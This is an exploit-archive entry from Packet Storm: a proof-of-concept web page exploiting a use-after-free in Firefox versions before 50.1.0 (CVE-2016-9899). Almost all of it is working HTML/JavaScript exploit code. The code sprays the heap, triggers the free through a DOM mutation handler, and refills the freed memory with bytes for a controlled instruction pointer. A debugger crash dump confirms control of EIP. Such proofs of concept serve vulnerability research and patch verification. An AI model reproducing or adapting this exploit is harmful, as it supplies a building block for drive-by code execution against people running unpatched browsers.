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Marcin ResselPACKETSTORM:140491
HistoryJan 13, 2017 - 12:00 a.m.
Mozilla Firefox Use-After-Free

2017-01-1300:00:00
Marcin Ressel
packetstormsecurity.com
0.866 High
EPSS
Percentile
98.3%
JSON
`<!DOCTYPE html>  
<html>  
<head>  
<!-- <meta http-equiv="refresh" content="1"/> -->  
<meta http-equiv="content-type" content="text/html; charset=UTF-8">  
<meta http-equiv="Expires" content="0" />  
<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate" />  
<meta http-equiv="Cache-Control" content="post-check=0, pre-check=0" />  
<meta http-equiv="Pragma" content="no-cache" />  
<style type="text/css">  
body{  
background-color:lime;  
font-color:red;  
};  
</style>  
<script type='text/javascript'></script>   
<script type="text/javascript" language="JavaScript">  
  
/*   
* Mozilla Firefox < 50.1.0 Use-After-Free POC  
* Author: Marcin Ressel  
* Date: 13.01.2017  
* Vendor Homepage: www.mozilla.org  
* Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/  
* Version: < 50.1.0  
* Tested on: Windows 7 (x64) Firefox 32 && 64 bit  
* CVE: CVE-2016-9899  
*************************************************  
* (b1c.5e0): Access violation - code c0000005 (first chance)  
* First chance exceptions are reported before any exception handling.  
* This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Mozilla Firefox\xul.dll -   
* eax=0f804c00 ebx=00000000 ecx=003be0c8 edx=4543484f esi=003be0e4 edi=06c71580  
* eip=6d7cc44c esp=003be0b8 ebp=003be0cc iopl=0 nv up ei pl nz na pe nc  
* cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206  
* xul!mozilla::net::LoadInfo::AddRef+0x3dd41:  
* 6d7cc44c ff12 call dword ptr [edx] ds:002b:4543484f=????????  
* 0:000> dd eax  
* 0f804c00 4543484f 91919191 91919191 91919191  
* 0f804c10 91919191 91919191 91919191 91919191  
* 0f804c20 91919191 91919191 91919191 91919191  
* 0f804c30 91919191 91919191 91919191 91919191  
* 0f804c40 91919191 91919191 91919191 91919191  
* 0f804c50 91919191 91919191 91919191 91919191  
* 0f804c60 91919191 91919191 91919191 91919191  
* 0f804c70 91919191 91919191 91919191 91919191  
*  
*/   
var doc = null;  
var cnt = 0;  
  
function m(blocks,size) {  
var arr = [];  
for(var i=0;i<blocks;i++) {  
arr[i] = new Array(size);  
for(var j=0;j<size;j+=2) {  
arr[i][j] = 0x41414141;  
arr[i][j+1] = 0x42424242;  
}  
}  
return arr;  
}   
  
function handler() { //free  
if(cnt > 0) return;  
doc.body.appendChild(document.createElement("audio")).remove();   
m(1024,1024);   
++cnt;  
}  
  
function trigger() {  
if(cnt > 0) {  
var pl = new Array();  
doc.getElementsByTagName("*")[0].removeEventListener("DOMSubtreeModified",handler,false);   
for(var i=0;i<4096;i++) { //replace  
pl[i]=new Uint8Array(1000);  
pl[i][0] = 0x4F;  
pl[i][1] = 0x48;  
pl[i][2] = 0x43;  
pl[i][3] = 0x45; //eip   
for(var j=4;j<(1000) - 4;j++) pl[i][j] = 0x91;   
// pl[i] = document.createElement('media');  
//document.body.appendChild(pl[i]);  
}  
window.pl = pl  
document.getElementById("t1").remove(); //re-use  
}  
}  
  
function testcase()  
{  
var df = m(4096,1000);  
document.body.setAttribute('df',df);  
doc = document.getElementById("t1").contentWindow.document;  
doc.getElementsByTagName("*")[0].addEventListener("DOMSubtreeModified",handler,false);   
doc.getElementsByTagName("*")[0].style = "ANNNY";  
setInterval("trigger();",1000);   
  
}  
</script>  
<title>Firefox < 50.1.0 Use After Free (CVE-2016-9899) </title>  
</head>  
<body onload='testcase();'>  
<iframe src='about:blank' id='t1' width="100%"></iframe>  
</body>  
</html>  
  
`
0.866 High
EPSS
Percentile
98.3%
JSON
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